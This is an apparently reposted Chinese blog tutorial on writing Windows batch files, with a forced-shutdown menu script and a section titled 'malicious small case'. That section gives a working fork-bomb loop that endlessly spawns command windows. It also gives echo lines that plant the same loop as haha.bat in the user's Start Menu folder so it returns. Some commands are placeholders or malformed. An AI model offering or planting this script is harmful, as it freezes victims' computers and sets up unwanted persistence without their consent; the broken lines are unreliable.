其他分享
首页 > 其他分享> > 批处理编写

批处理编写

作者:互联网

文章目录

批处理编写

如何创建批处理?

@ echo off
color 0a
title xxx
d:
cd \
fsutil file createnew d:\sys.ini 40000
copy 启动路径
copy "%userprofile%"

菜单案例实现

@echo off
color 0a
title 菜单
:menu
cls
echo =============
echo   菜单
echo 1.定时关机
echo 2.取消关机
echo 3.退出
echo =============

set /p num=请输入选项:
if %num%==1 goto 1
if %num%==2 goto 2
if %num%==3 goto 3

:1
set /p time=请输入时间:
shutdown -f -s -t %time%
goto menu

:2
shutdown /a
goto menu

:3
exit

恶意小案例

1:
start
goto 1
copy %userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu------>进入到开始菜单
echo a: >> "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\haha.bat"
echo start >> "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\haha.bat"
echo goto a >> "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\haha.bat"

补充

标签:bat,goto,批处理,echo,start,userprofile%,编写
来源: https://blog.csdn.net/weixin_59269336/article/details/120167065